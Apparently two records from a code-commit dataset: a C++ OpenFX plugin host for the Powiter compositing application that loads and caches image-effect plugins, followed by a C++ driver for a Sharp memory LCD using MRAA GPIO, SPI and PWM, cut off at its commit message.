_properties.setIntProperty(kOfxParamHostPropMaxParameters, -1);\n    _properties.setIntProperty(kOfxParamHostPropMaxPages, 0);\n    _properties.setIntProperty(kOfxParamHostPropPageRowColumnCount, 0, 0 );\n    _properties.setIntProperty(kOfxParamHostPropPageRowColumnCount, 0, 1 );\n\n\n}\n\nPowiter::OfxHost::~OfxHost()\n{\n    writeOFXCache();\n}\n\nOFX::Host::ImageEffect::Instance* Powiter::OfxHost::newInstance(void* ,\n                                                     OFX::Host::ImageEffect::ImageEffectPlugin* plugin,\n                                                     OFX::Host::ImageEffect::Descriptor& desc,\n                                                     const std::string& context)\n{\n    assert(plugin);\n\n    \n    \n    return new Powiter::OfxImageEffectInstance(plugin,desc,context,false);\n}\n\n\/\/\/ Override this to create a descriptor, this makes the 'root' descriptor\nOFX::Host::ImageEffect::Descriptor *Powiter::OfxHost::makeDescriptor(OFX::Host::ImageEffect::ImageEffectPlugin* plugin)\n{\n    assert(plugin);\n    OFX::Host::ImageEffect::Descriptor *desc = new OFX::Host::ImageEffect::Descriptor(plugin);\n    return desc;\n}\n\n\/\/\/ used to construct a context description, rootContext is the main context\nOFX::Host::ImageEffect::Descriptor *Powiter::OfxHost::makeDescriptor(const OFX::Host::ImageEffect::Descriptor &rootContext,\n                                                          OFX::Host::ImageEffect::ImageEffectPlugin *plugin)\n{\n    assert(plugin);\n    OFX::Host::ImageEffect::Descriptor *desc = new OFX::Host::ImageEffect::Descriptor(rootContext, plugin);\n    return desc;\n}\n\n\/\/\/ used to construct populate the cache\nOFX::Host::ImageEffect::Descriptor *Powiter::OfxHost::makeDescriptor(const std::string &bundlePath,\n                                                          OFX::Host::ImageEffect::ImageEffectPlugin *plugin)\n{\n    assert(plugin);\n    OFX::Host::ImageEffect::Descriptor *desc = new OFX::Host::ImageEffect::Descriptor(bundlePath, plugin);\n    return desc;\n}\n\n\/\/\/ message\nOfxStatus Powiter::OfxHost::vmessage(const char* type,\n                          const char* ,\n                          const char* format,\n                          va_list args)\n{\n    assert(type);\n    assert(format);\n    bool isQuestion = false;\n    const char *prefix = \"Message : \";\n    if (strcmp(type, kOfxMessageLog) == 0) {\n        prefix = \"Log : \";\n    }\n    else if(strcmp(type, kOfxMessageFatal) == 0 ||\n            strcmp(type, kOfxMessageError) == 0) {\n        prefix = \"Error : \";\n    }\n    else if(strcmp(type, kOfxMessageQuestion) == 0)  {\n        prefix = \"Question : \";\n        isQuestion = true;\n    }\n\n    \/\/ Just dump our message to stdout, should be done with a proper\n    \/\/ UI in a full ap, and post a dialogue for yes\/no questions.\n    fputs(prefix, stdout);\n    vprintf(format, args);\n    printf(\"\\n\");\n\n    if(isQuestion) {\n        \/\/\/ cant do this properly inour example, as we need to raise a dialogue to ask a question, so just return yes\n        return kOfxStatReplyYes;\n    }\n    else {\n        return kOfxStatOK;\n    }\n}\n\nOfxNode* Powiter::OfxHost::createOfxNode(const std::string& name,AppInstance* app) {\n    OfxStatus stat;\n    OFXPluginsIterator ofxPlugin = _ofxPlugins.find(name);\n    if (ofxPlugin == _ofxPlugins.end()) {\n        return NULL;\n    }\n    OFX::Host::ImageEffect::ImageEffectPlugin* plugin = _imageEffectPluginCache.getPluginById(ofxPlugin->second.first);\n    if (!plugin) {\n        return NULL;\n    }\n    const std::set<std::string>& contexts = plugin->getContexts();\n    std::string context;\n   \n    if (contexts.size() == 1) {\n        context = (*contexts.begin());\n    }else{\n        std::set<std::string>::iterator found = contexts.find(kOfxImageEffectContextGeneral);\n        if(found != contexts.end()){\n            context = *found;\n        }else{\n            found = contexts.find(kOfxImageEffectContextFilter);\n            if(found != contexts.end()){\n                context = *found;\n            }else{\n                found = contexts.find(kOfxImageEffectContextGenerator);\n                if(found != contexts.end()){\n                    context = *found;\n                }else{\n                    found = contexts.find(kOfxImageEffectContextTransition);\n                    if(found != contexts.end()){\n                        context = *found;\n                    }else{\n                        context = kOfxImageEffectContextPaint;\n                    }\n                }\n            }\n        }\n\n    }\n    \n    \n    bool rval = false;\n    try{\n        rval = plugin->getPluginHandle();\n    } catch (const std::exception &e) {\n        std::cout << \"Error: Could not get plugin handle for plugin \\\"\" << name << \"\\\":\" << e.what() << std::endl;\n    }\n    if(!rval) {\n        return NULL;\n    }\n    OfxNode* node = new OfxNode(app,plugin,context);\n    assert(node);\n    Powiter::OfxImageEffectInstance* effect = node->effectInstance();\n    if (effect) {\n        stat = effect->createInstanceAction();\n        assert(stat == kOfxStatOK || stat == kOfxStatReplyDefault);\n    } else {\n        std::cout << \"Error: Could not create effect instance for plugin \\\"\" << name << \"\\\"\" << std::endl;\n        delete node;\n        return NULL;\n    }\n    \n    \/*must be called AFTER createInstanceAction!*\/\n    node->tryInitializeOverlayInteracts();\n    return node;\n}\n\nQStringList Powiter::OfxHost::loadOFXPlugins() {\n    QStringList pluginNames;\n\n    assert(OFX::Host::PluginCache::getPluginCache());\n    \/\/\/ set the version label in the global cache\n    OFX::Host::PluginCache::getPluginCache()->setCacheVersion(POWITER_APPLICATION_NAME \"OFXCachev1\");\n\n    \/\/\/ make an image effect plugin cache\n\n    \/\/\/ register the image effect cache with the global plugin cache\n    _imageEffectPluginCache.registerInCache(*OFX::Host::PluginCache::getPluginCache());\n\n\n#if defined(WINDOWS)\n    OFX::Host::PluginCache::getPluginCache()->addFileToPath(\"C:\\\\Program Files\\\\Common Files\\\\OFX\\\\Nuke\");\n#endif\n#if defined(__linux__)\n    OFX::Host::PluginCache::getPluginCache()->addFileToPath(\"\/usr\/OFX\/Nuke\");\n#endif\n#if defined(__APPLE__)\n    OFX::Host::PluginCache::getPluginCache()->addFileToPath(\"\/Library\/OFX\/Nuke\");\n#endif\n\n    \/\/\/ now read an old cache\n#if QT_VERSION < 0x050000\n    QString ofxcachename = QDesktopServices::storageLocation(QDesktopServices::CacheLocation) + QDir::separator() + \"OFXCache.xml\";\n#else\n    QString ofxcachename = QStandardPaths::writableLocation(QStandardPaths::CacheLocation) + QDir::separator() + \"OFXCache.xml\";\n#endif\n    std::ifstream ifs(ofxcachename.toStdString().c_str());\n    if (ifs.is_open()) {\n        OFX::Host::PluginCache::getPluginCache()->readCache(ifs);\n        ifs.close();\n    }\n    OFX::Host::PluginCache::getPluginCache()->scanPluginFiles();\n\n    \/*Filling node name list and plugin grouping*\/\n    const std::vector<OFX::Host::ImageEffect::ImageEffectPlugin *>& plugins = _imageEffectPluginCache.getPlugins();\n    for (unsigned int i = 0 ; i < plugins.size(); ++i) {\n        OFX::Host::ImageEffect::ImageEffectPlugin* p = plugins[i];\n        assert(p);\n        if(p->getContexts().size() == 0)\n            continue;\n        QString name = p->getDescriptor().getLabel().c_str();\n        if(name.isEmpty()){\n            name = p->getDescriptor().getShortLabel().c_str();\n        }\n       \n        if(name.isEmpty()){\n            name = p->getDescriptor().getLongLabel().c_str();\n        }\n\n        \n        QString rawName = name;\n        QString id = p->getIdentifier().c_str();\n        QString grouping = p->getDescriptor().getPluginGrouping().c_str();\n        \n        int pluginCount = p->getBinary()->getNPlugins();\n        QString bundlePath;\n        bundlePath = pluginCount > 1 ? p->getBinary()->getBundlePath().c_str() : \"\";\n        QStringList groups = ofxExtractAllPartsOfGrouping(grouping,bundlePath);\n        if (groups.size() >= 1) {\n            name.append(\"  [\");\n            name.append(groups[0]);\n            name.append(\"]\");\n        }\n        assert(p->getBinary());\n        QString iconFilename = QString(p->getBinary()->getBundlePath().c_str()) + \"\/Contents\/Resources\/\";\n        iconFilename.append(p->getDescriptor().getProps().getStringProperty(kOfxPropIcon,1).c_str());\n        iconFilename.append(id);\n        iconFilename.append(\".png\");\n        QString groupIconFilename;\n        if (groups.size() >= 1) {\n            groupIconFilename = QString(p->getBinary()->getBundlePath().c_str()) + \"\/Contents\/Resources\/\";\n            groupIconFilename.append(p->getDescriptor().getProps().getStringProperty(kOfxPropIcon,1).c_str());\n            groupIconFilename.append(groups[0]);\n\/\/            if(bundlePath.size() > 0 && pluginCount > 1 && groups.size() > 1){\n\/\/                groupIconFilename.append('\/');\n\/\/                groupIconFilename.append(groups[1]);\n\/\/            }\n            groupIconFilename.append(\".png\");\n        }\n        emit toolButtonAdded(groups, rawName, iconFilename, groupIconFilename);\n        _ofxPlugins.insert(make_pair(name.toStdString(), make_pair(id.toStdString(), grouping.toStdString())));\n        pluginNames.append(name);\n    }\n    return pluginNames;\n}\n\n\n\nvoid Powiter::OfxHost::writeOFXCache(){\n    \/\/\/ and write a new cache, long version with everything in there\n#if QT_VERSION < 0x050000\n    QString ofxcachename = QDesktopServices::storageLocation(QDesktopServices::CacheLocation);\n\n#else\n    QString ofxcachename = QStandardPaths::writableLocation(QStandardPaths::CacheLocation);\n#endif\n    QDir().mkpath(ofxcachename);\n    ofxcachename +=  QDir::separator();\n    ofxcachename += \"OFXCache.xml\";\n    std::ofstream of(ofxcachename.toStdString().c_str());\n    assert(of.is_open());\n    assert(OFX::Host::PluginCache::getPluginCache());\n    OFX::Host::PluginCache::getPluginCache()->writePluginCache(of);\n    of.close();\n    \/\/Clean up, to be polite.\n    OFX::Host::PluginCache::clearPluginCache();\n}\n\n<commit_msg>Fixed conflicts<commit_after>\/\/  Powiter\n\/\/\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\/\/\n\/\/  Created by Frédéric Devernay on 03\/09\/13.\n\/\/\n\/\/\n\n#include \"OfxHost.h\"\n\n#include <cassert>\n#include <fstream>\n#include <QtCore\/QDir>\n#if QT_VERSION < 0x050000\n#include <QtGui\/QDesktopServices>\n#else\n#include <QStandardPaths>\n#endif\n\n#include <ofxhPluginAPICache.h>\n#include <ofxhImageEffect.h>\n#include <ofxhImageEffectAPI.h>\n#include <ofxhHost.h>\n\n#include \"Engine\/OfxNode.h\"\n#include \"Engine\/OfxImageEffectInstance.h\"\n\nusing namespace Powiter;\n\nPowiter::OfxHost::OfxHost()\n:_imageEffectPluginCache(*this)\n{\n    _properties.setStringProperty(kOfxPropName, POWITER_APPLICATION_NAME \"Host\");\n    _properties.setStringProperty(kOfxPropLabel, POWITER_APPLICATION_NAME);\n    _properties.setIntProperty(kOfxImageEffectHostPropIsBackground, 0);\n    _properties.setIntProperty(kOfxImageEffectPropSupportsOverlays, 1);\n    _properties.setIntProperty(kOfxImageEffectPropSupportsMultiResolution, 1);\n    _properties.setIntProperty(kOfxImageEffectPropSupportsTiles, 1);\n    _properties.setIntProperty(kOfxImageEffectPropTemporalClipAccess, 1);\n    _properties.setStringProperty(kOfxImageEffectPropSupportedComponents,  kOfxImageComponentRGBA, 0);\n    _properties.setStringProperty(kOfxImageEffectPropSupportedComponents,  kOfxImageComponentAlpha, 1);\n    _properties.setStringProperty(kOfxImageEffectPropSupportedContexts, kOfxImageEffectContextGenerator, 0 );\n    _properties.setStringProperty(kOfxImageEffectPropSupportedContexts, kOfxImageEffectContextFilter, 1);\n    _properties.setStringProperty(kOfxImageEffectPropSupportedContexts, kOfxImageEffectContextGeneral, 2 );\n    _properties.setStringProperty(kOfxImageEffectPropSupportedContexts, kOfxImageEffectContextTransition, 3 );\n\n    _properties.setStringProperty(kOfxImageEffectPropSupportedPixelDepths,kOfxBitDepthFloat,0);\n    _properties.setIntProperty(kOfxImageEffectPropSupportsMultipleClipDepths, 0);\n    _properties.setIntProperty(kOfxImageEffectPropSupportsMultipleClipPARs, 0);\n    _properties.setIntProperty(kOfxImageEffectPropSetableFrameRate, 0);\n    _properties.setIntProperty(kOfxImageEffectPropSetableFielding, 0);\n    _properties.setIntProperty(kOfxParamHostPropSupportsCustomInteract, 1 );\n    _properties.setIntProperty(kOfxParamHostPropSupportsStringAnimation, 0 );\n    _properties.setIntProperty(kOfxParamHostPropSupportsChoiceAnimation, 0 );\n    _properties.setIntProperty(kOfxParamHostPropSupportsBooleanAnimation, 0 );\n    _properties.setIntProperty(kOfxParamHostPropSupportsCustomAnimation, 0 );\n    _properties.setIntProperty(kOfxParamHostPropMaxParameters, -1);\n    _properties.setIntProperty(kOfxParamHostPropMaxPages, 0);\n    _properties.setIntProperty(kOfxParamHostPropPageRowColumnCount, 0, 0 );\n    _properties.setIntProperty(kOfxParamHostPropPageRowColumnCount, 0, 1 );\n\n\n}\n\nPowiter::OfxHost::~OfxHost()\n{\n    writeOFXCache();\n}\n\nOFX::Host::ImageEffect::Instance* Powiter::OfxHost::newInstance(void* ,\n                                                     OFX::Host::ImageEffect::ImageEffectPlugin* plugin,\n                                                     OFX::Host::ImageEffect::Descriptor& desc,\n                                                     const std::string& context)\n{\n    assert(plugin);\n\n    \n    \n    return new Powiter::OfxImageEffectInstance(plugin,desc,context,false);\n}\n\n\/\/\/ Override this to create a descriptor, this makes the 'root' descriptor\nOFX::Host::ImageEffect::Descriptor *Powiter::OfxHost::makeDescriptor(OFX::Host::ImageEffect::ImageEffectPlugin* plugin)\n{\n    assert(plugin);\n    OFX::Host::ImageEffect::Descriptor *desc = new OFX::Host::ImageEffect::Descriptor(plugin);\n    return desc;\n}\n\n\/\/\/ used to construct a context description, rootContext is the main context\nOFX::Host::ImageEffect::Descriptor *Powiter::OfxHost::makeDescriptor(const OFX::Host::ImageEffect::Descriptor &rootContext,\n                                                          OFX::Host::ImageEffect::ImageEffectPlugin *plugin)\n{\n    assert(plugin);\n    OFX::Host::ImageEffect::Descriptor *desc = new OFX::Host::ImageEffect::Descriptor(rootContext, plugin);\n    return desc;\n}\n\n\/\/\/ used to construct populate the cache\nOFX::Host::ImageEffect::Descriptor *Powiter::OfxHost::makeDescriptor(const std::string &bundlePath,\n                                                          OFX::Host::ImageEffect::ImageEffectPlugin *plugin)\n{\n    assert(plugin);\n    OFX::Host::ImageEffect::Descriptor *desc = new OFX::Host::ImageEffect::Descriptor(bundlePath, plugin);\n    return desc;\n}\n\n\/\/\/ message\nOfxStatus Powiter::OfxHost::vmessage(const char* type,\n                          const char* ,\n                          const char* format,\n                          va_list args)\n{\n    assert(type);\n    assert(format);\n    bool isQuestion = false;\n    const char *prefix = \"Message : \";\n    if (strcmp(type, kOfxMessageLog) == 0) {\n        prefix = \"Log : \";\n    }\n    else if(strcmp(type, kOfxMessageFatal) == 0 ||\n            strcmp(type, kOfxMessageError) == 0) {\n        prefix = \"Error : \";\n    }\n    else if(strcmp(type, kOfxMessageQuestion) == 0)  {\n        prefix = \"Question : \";\n        isQuestion = true;\n    }\n\n    \/\/ Just dump our message to stdout, should be done with a proper\n    \/\/ UI in a full ap, and post a dialogue for yes\/no questions.\n    fputs(prefix, stdout);\n    vprintf(format, args);\n    printf(\"\\n\");\n\n    if(isQuestion) {\n        \/\/\/ cant do this properly inour example, as we need to raise a dialogue to ask a question, so just return yes\n        return kOfxStatReplyYes;\n    }\n    else {\n        return kOfxStatOK;\n    }\n}\n\nOfxNode* Powiter::OfxHost::createOfxNode(const std::string& name,AppInstance* app) {\n    OfxStatus stat;\n    OFXPluginsIterator ofxPlugin = _ofxPlugins.find(name);\n    if (ofxPlugin == _ofxPlugins.end()) {\n        return NULL;\n    }\n    OFX::Host::ImageEffect::ImageEffectPlugin* plugin = _imageEffectPluginCache.getPluginById(ofxPlugin->second.first);\n    if (!plugin) {\n        return NULL;\n    }\n    const std::set<std::string>& contexts = plugin->getContexts();\n    std::string context;\n   \n    if (contexts.size() == 1) {\n        context = (*contexts.begin());\n    }else{\n        std::set<std::string>::iterator found = contexts.find(kOfxImageEffectContextGeneral);\n        if(found != contexts.end()){\n            context = *found;\n        }else{\n            found = contexts.find(kOfxImageEffectContextFilter);\n            if(found != contexts.end()){\n                context = *found;\n            }else{\n                found = contexts.find(kOfxImageEffectContextGenerator);\n                if(found != contexts.end()){\n                    context = *found;\n                }else{\n                    found = contexts.find(kOfxImageEffectContextTransition);\n                    if(found != contexts.end()){\n                        context = *found;\n                    }else{\n                        context = kOfxImageEffectContextPaint;\n                    }\n                }\n            }\n        }\n\n    }\n    \n    \n    bool rval = false;\n    try{\n        rval = plugin->getPluginHandle();\n    } catch (const std::exception &e) {\n        std::cout << \"Error: Could not get plugin handle for plugin \\\"\" << name << \"\\\":\" << e.what() << std::endl;\n    }\n    if(!rval) {\n        return NULL;\n    }\n    OfxNode* node = new OfxNode(app,plugin,context);\n    assert(node);\n    Powiter::OfxImageEffectInstance* effect = node->effectInstance();\n    if (effect) {\n        stat = effect->createInstanceAction();\n        assert(stat == kOfxStatOK || stat == kOfxStatReplyDefault);\n    } else {\n        std::cout << \"Error: Could not create effect instance for plugin \\\"\" << name << \"\\\"\" << std::endl;\n        delete node;\n        return NULL;\n    }\n    \n    \/*must be called AFTER createInstanceAction!*\/\n    node->tryInitializeOverlayInteracts();\n    return node;\n}\n\nQStringList Powiter::OfxHost::loadOFXPlugins() {\n    QStringList pluginNames;\n\n    assert(OFX::Host::PluginCache::getPluginCache());\n    \/\/\/ set the version label in the global cache\n    OFX::Host::PluginCache::getPluginCache()->setCacheVersion(POWITER_APPLICATION_NAME \"OFXCachev1\");\n\n    \/\/\/ make an image effect plugin cache\n\n    \/\/\/ register the image effect cache with the global plugin cache\n    _imageEffectPluginCache.registerInCache(*OFX::Host::PluginCache::getPluginCache());\n\n\n#if defined(WINDOWS)\n    OFX::Host::PluginCache::getPluginCache()->addFileToPath(\"C:\\\\Program Files\\\\Common Files\\\\OFX\\\\Nuke\");\n#endif\n#if defined(__linux__)\n    OFX::Host::PluginCache::getPluginCache()->addFileToPath(\"\/usr\/OFX\/Nuke\");\n#endif\n#if defined(__APPLE__)\n    OFX::Host::PluginCache::getPluginCache()->addFileToPath(\"\/Library\/OFX\/Nuke\");\n#endif\n\n    \/\/\/ now read an old cache\n    \/\/ The cache location depends on the OS.\n    \/\/ On OSX, it will be ~\/Library\/Caches\/<organization>\/<application>\/OFXCache.xml\n#if QT_VERSION < 0x050000\n    QString ofxcachename = QDesktopServices::storageLocation(QDesktopServices::CacheLocation) + QDir::separator() + \"OFXCache.xml\";\n#else\n    QString ofxcachename = QStandardPaths::writableLocation(QStandardPaths::CacheLocation) + QDir::separator() + \"OFXCache.xml\";\n#endif\n    std::ifstream ifs(ofxcachename.toStdString().c_str());\n    if (ifs.is_open()) {\n        OFX::Host::PluginCache::getPluginCache()->readCache(ifs);\n        ifs.close();\n    }\n    OFX::Host::PluginCache::getPluginCache()->scanPluginFiles();\n\n    \/*Filling node name list and plugin grouping*\/\n    const std::vector<OFX::Host::ImageEffect::ImageEffectPlugin *>& plugins = _imageEffectPluginCache.getPlugins();\n    for (unsigned int i = 0 ; i < plugins.size(); ++i) {\n        OFX::Host::ImageEffect::ImageEffectPlugin* p = plugins[i];\n        assert(p);\n        if(p->getContexts().size() == 0)\n            continue;\n        QString name = p->getDescriptor().getLabel().c_str();\n        if(name.isEmpty()){\n            name = p->getDescriptor().getShortLabel().c_str();\n        }\n       \n        if(name.isEmpty()){\n            name = p->getDescriptor().getLongLabel().c_str();\n        }\n\n        \n        QString rawName = name;\n        QString id = p->getIdentifier().c_str();\n        QString grouping = p->getDescriptor().getPluginGrouping().c_str();\n        \n        int pluginCount = p->getBinary()->getNPlugins();\n        QString bundlePath;\n        bundlePath = pluginCount > 1 ? p->getBinary()->getBundlePath().c_str() : \"\";\n        QStringList groups = ofxExtractAllPartsOfGrouping(grouping,bundlePath);\n        if (groups.size() >= 1) {\n            name.append(\"  [\");\n            name.append(groups[0]);\n            name.append(\"]\");\n        }\n        assert(p->getBinary());\n        QString iconFilename = QString(p->getBinary()->getBundlePath().c_str()) + \"\/Contents\/Resources\/\";\n        iconFilename.append(p->getDescriptor().getProps().getStringProperty(kOfxPropIcon,1).c_str());\n        iconFilename.append(id);\n        iconFilename.append(\".png\");\n        QString groupIconFilename;\n        if (groups.size() >= 1) {\n            groupIconFilename = QString(p->getBinary()->getBundlePath().c_str()) + \"\/Contents\/Resources\/\";\n            groupIconFilename.append(p->getDescriptor().getProps().getStringProperty(kOfxPropIcon,1).c_str());\n            groupIconFilename.append(groups[0]);\n\/\/            if(bundlePath.size() > 0 && pluginCount > 1 && groups.size() > 1){\n\/\/                groupIconFilename.append('\/');\n\/\/                groupIconFilename.append(groups[1]);\n\/\/            }\n            groupIconFilename.append(\".png\");\n        }\n        emit toolButtonAdded(groups, rawName, iconFilename, groupIconFilename);\n        _ofxPlugins.insert(make_pair(name.toStdString(), make_pair(id.toStdString(), grouping.toStdString())));\n        pluginNames.append(name);\n    }\n    return pluginNames;\n}\n\n\n\nvoid Powiter::OfxHost::writeOFXCache(){\n    \/\/\/ and write a new cache, long version with everything in there\n#if QT_VERSION < 0x050000\n    QString ofxcachename = QDesktopServices::storageLocation(QDesktopServices::CacheLocation);\n\n#else\n    QString ofxcachename = QStandardPaths::writableLocation(QStandardPaths::CacheLocation);\n#endif\n    QDir().mkpath(ofxcachename);\n    ofxcachename +=  QDir::separator();\n    ofxcachename += \"OFXCache.xml\";\n    std::ofstream of(ofxcachename.toStdString().c_str());\n    assert(of.is_open());\n    assert(OFX::Host::PluginCache::getPluginCache());\n    OFX::Host::PluginCache::getPluginCache()->writePluginCache(of);\n    of.close();\n    \/\/Clean up, to be polite.\n    OFX::Host::PluginCache::clearPluginCache();\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <chrono>\n#include <iostream>\n\n#include <mraa\/common.hpp>\n\n#include \"SharpLCD.hpp\"\n\n\nstatic uint8_t reverseBits(uint8_t x) {\n\tx = ((x & 0xAA) >> 1) | ((x & 0x55) << 1);\n\tx = ((x & 0xCC) >> 2) | ((x & 0x33) << 2);\n\tx = ((x & 0xF0) >> 4) | ((x & 0x0F) << 4);\n\treturn x;\n}\n\nstatic void mR(mraa::Result r) {\n\tif (r != mraa::SUCCESS) {\n\t\tmraa::printError(r);\n\t\tthrow std::invalid_argument(\"MRAA error\");\n\t}\n}\n\nstatic uint8_t pixelMask(int x) {\n\treturn 0x80 >> (x % 8);\n}\n\nstatic uint8_t startMask(int x) {\n\treturn 0xFF >> (x % 8);\n}\n\nstatic uint8_t endMask(int x) {\n\treturn 0xFF80 >> (x % 8);\n}\n\nsize_t SharpLCD::pixelIndex(uint16_t x, uint16_t y) {\n\treturn bwidth * y + (x \/ 8);\n}\n\nvoid SharpLCD::applyMask(size_t index, uint8_t mask, uint8_t color) {\n\t\/\/ color is assumed to be 0x00(Black) or 0xFF (white)\n\t\/\/ this is ensured by translateColor\n\tuint8_t &p = frameBuf[index];\n\tp = (p | (mask & color)) & (~mask | color);\n}\n\nSharpLCD::SharpLCD(int width, int height) :\tscs(15), vdd(31), pwm(20), spi(1) {\n\tc.size = sizeof(c);\n\tc.displayData = this;\n\tc.width = width;\n\tc.heigth = height;\n\tc.callPixelDraw = &SharpLCD::drawPixel;\n\tc.callPixelDrawMultiple = &SharpLCD::drawMultiplePixel;\n\tc.callLineDrawH = &SharpLCD::drawLineH;\n\tc.callLineDrawV = &SharpLCD::drawLineV;\n\tc.callRectFill = &SharpLCD::fillRect;\n\tc.callColorTranslate = &SharpLCD::translateColor;\n\tc.callFlush = &SharpLCD::flushBuffer;\n\tc.callClearDisplay = &SharpLCD::clearDisplay;\n\n\tbwidth = (width + 7) \/ 8;\n\trefreshEnabled = false;\n\trefreshRunning = false;\n\trefreshTerminate = false;\n\tframeCounter = 0;\n\n\t\/\/GPIO Init\n\tmR(scs.useMmap(true));\n\tmR(scs.mode(mraa::MODE_PULLUP));\n\tmR(scs.dir(mraa::DIR_OUT));\n\tmR(vdd.mode(mraa::MODE_PULLUP));\n\tmR(vdd.dir(mraa::DIR_OUT));\n\n\t\/\/ Set SPI clock to 1MHz\n\t\/\/ LS013B4DN04: ƒSCLK: Typical 0.5MHz, Max 1.0MHz\n\t\/\/ LS013B7DH03: ƒSCLK: Typical 1.0MHz, Max 1.1MHz\n\tmR(spi.frequency(1000000));\n\tmR(spi.mode(mraa::SPI_MODE0));\n\tmR(spi.bitPerWord(8));\n\tmR(spi.lsbmode(false));\n\n\t\/\/ Set PWM to 60Hz\n\t\/\/ LS013B4DN04: fEXTCOMIN: Typical 1Hz, Max 60Hz\n\t\/\/ LS013B7DH03: fEXTCOMIN: Min 54Hz, Max 65Hz\n\tmR(pwm.period_us(16666));\n\tmR(pwm.pulsewidth_us(8333));\n\n\tcmdBuf[0].assign(2 + (2 + bwidth) * height, cmd_trail);\n\t\/\/ command\n\tcmdBuf[0][0] = cmd_writeLine;\n\tfor (int row = 0; row < height; row++) {\n\t\t\/\/ line numbers\n\t\tcmdBuf[0][1 + row * (2 + bwidth)] = reverseBits(row + 1);\n\t}\n\n\tcmdBuf[1] = cmdBuf[0];\n\tcmdBufIndex = 0;\n\n\tframeBuf.assign(bwidth * height, 0xFF);\n\tflushBuffer(this);\n}\nSharpLCD::~SharpLCD() {\n\trefreshTerminate = true;\n\tdispThread.join();\n\tscs.write(false);\n\tvdd.write(false);\n\tpwm.enable(false);\n}\n\nvoid SharpLCD::enable() {\n\tif (refreshEnabled)\n\t\treturn;\n\t\/\/ power up display\n\tmR(pwm.enable(true));\n\tmR(vdd.write(true));\n\t\/\/ start display thread\n\trefreshEnabled = true;\n\trefreshTerminate = false;\n\n\tdispThread = std::thread(&SharpLCD::refreshDisplay, this,\n\t\t\tcmdBuf[0].data(), cmdBuf[1].data(), cmdBuf[1].size());\n}\n\nvoid SharpLCD::disable() {\n\trefreshTerminate = true;\n\tdispThread.join();\n\tmR(vdd.write(false));\n\tmR(pwm.enable(false));\n\trefreshEnabled = false;\n}\n\nvoid SharpLCD::refreshDisplay(uint8_t *data0, uint8_t *data1, int len) {\n\t\/\/ for good measure, wait a few ms until things have settled\n\tstd::this_thread::sleep_for(std::chrono::milliseconds(10));\n\tstd::unique_lock<std::mutex> refreshLock(refreshMutex);\n\trefreshRunning = true;\n\trefreshCond.notify_all();\n\n\tuint8_t * const dataPtr[2] = {data0, data1};\n\twhile (!refreshTerminate) {\n\t\tuint8_t index = cmdBufIndex;\n\t\tuint8_t *data = dataPtr[index];\n\t\tcmdBufUsed[index] = true;\n\t\tframeCounter++;\n\t\trefreshLock.unlock();\n\t\tstd::chrono::steady_clock::time_point t = std::chrono::steady_clock::now();\n\t\tscs.write(true);\n\t\tstd::this_thread::sleep_for(std::chrono::microseconds(6));\n\t\t\/\/TODO check for error\n\t\tspi.transfer(data, NULL, len);\n\t\tstd::this_thread::sleep_for(std::chrono::microseconds(2));\n\t\tscs.write(false);\n\t\trefreshCond.notify_all();\n\t\tstd::this_thread::sleep_until(t + std::chrono::microseconds(16666));\n\t\trefreshLock.lock();\n\t}\n\trefreshRunning = false;\n\trefreshCond.notify_all();\n}\n\n\nvoid SharpLCD::drawPixel(void *tp, int16_t x, int16_t y, uint16_t value) {\n\tSharpLCD &t = *(SharpLCD*) tp;\n\tt.applyMask(t.pixelIndex(x, y), pixelMask(x), value);\n}\n\nvoid SharpLCD::drawMultiplePixel(void *tp, int16_t x, int16_t y, int16_t x0, int16_t count, int16_t bPP, const uint8_t *data, const uint32_t *pucPalette) {\n\t\/\/ this doesn't seem to be needed for anything\n\tstd::cerr << \"drawMultiplePixel is not supported\" << std::endl;\n}\n\nvoid SharpLCD::drawLineH(void *tp, int16_t x1, int16_t x2, int16_t y, uint16_t value) {\n\tSharpLCD &t = *(SharpLCD*) tp;\n\tsize_t sidx = t.pixelIndex(x1, y);\n\tsize_t eidx = t.pixelIndex(x2, y);\n\tuint8_t smask = startMask(x1);\n\tuint8_t emask = endMask(x2);\n\tif (sidx == eidx) {\n\t\tt.applyMask(sidx, smask & emask, value);\n\t} else {\n\t\tt.applyMask(sidx, smask, value);\n\t\tfor (size_t i=sidx+1; i<eidx; i++) {\n\t\t\tt.applyMask(i, 0xFF, value);\n\t\t}\n\t\tt.applyMask(eidx, emask, value);\n\t}\n}\n\nvoid SharpLCD::drawLineV(void *tp, int16_t x, int16_t y1, int16_t y2, uint16_t value) {\n\tSharpLCD &t = *(SharpLCD*) tp;\n\tuint8_t mask = pixelMask(x);\n\tfor (int16_t y = y1; y<=y2; y++) {\n\t\tt.applyMask(t.pixelIndex(x, y), mask, value);\n\t}\n}\n\nvoid SharpLCD::fillRect(void *tp, const Graphics_Rectangle *rect, uint16_t value) {\n\tfor (int16_t y=rect->yMin; y<=rect->yMax; y++) {\n\t\tSharpLCD::drawLineH(tp, rect->xMin, rect->xMax, y, value);\n\t}\n}\n\nuint32_t SharpLCD::translateColor(void *tp, uint32_t value) {\n\treturn value ? 0xFF : 0x00;\n}\n\nuint32_t SharpLCD::getFrameCounter() {\n\tstd::unique_lock<std::mutex> refreshLock(refreshMutex);\n\treturn this->frameCounter;\n}\n\nvoid SharpLCD::flushBuffer(void *tp) {\n\tSharpLCD &t = *(SharpLCD*) tp;\n\tuint8_t freeIndex = 1 - t.cmdBufIndex;\n\t\/\/ skip command and line number\n\tuint8_t *dst = t.cmdBuf[freeIndex].data()+2;\n\tuint8_t *src = t.frameBuf.data();\n\tfor (uint16_t i=0; i<t.c.heigth; i++) {\n\t\tfor (size_t j=0; j<t.bwidth; j++) {\n\t\t\t*dst++ = *src++;\n\t\t}\n\t\tdst += 2; \/\/ skip trailer and line number\n\t}\n\tstd::unique_lock<std::mutex> refreshLock(t.refreshMutex);\n\tt.cmdBufIndex = freeIndex;\n\tt.cmdBufUsed[freeIndex] = false;\n\twhile (!t.cmdBufUsed[freeIndex] && t.refreshRunning) {\n\t\tt.refreshCond.wait(refreshLock);\n\t}\n}\n\nvoid SharpLCD::clearDisplay(void *tp, uint16_t value) {\n\t\/\/ value is assumed to be 0x00(Black) or 0xFF (white)\n\t\/\/ this is ensured by translateColor\n\tSharpLCD &t = *(SharpLCD*) tp;\n\tt.frameBuf.assign(t.frameBuf.size(), value);\n}\n<commit_msg>fix exception on join of enable() 